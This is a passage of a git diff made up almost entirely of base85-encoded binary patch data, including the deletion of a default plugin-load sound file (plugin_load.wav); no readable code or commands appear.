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 diff --git a/data/sounds/default/plugin_load.wav b/data/sounds/default/plugin_load.wav deleted file mode 100755 index 9c8581c9204f0713cf964fa9e481526b773f2180..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 122124 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 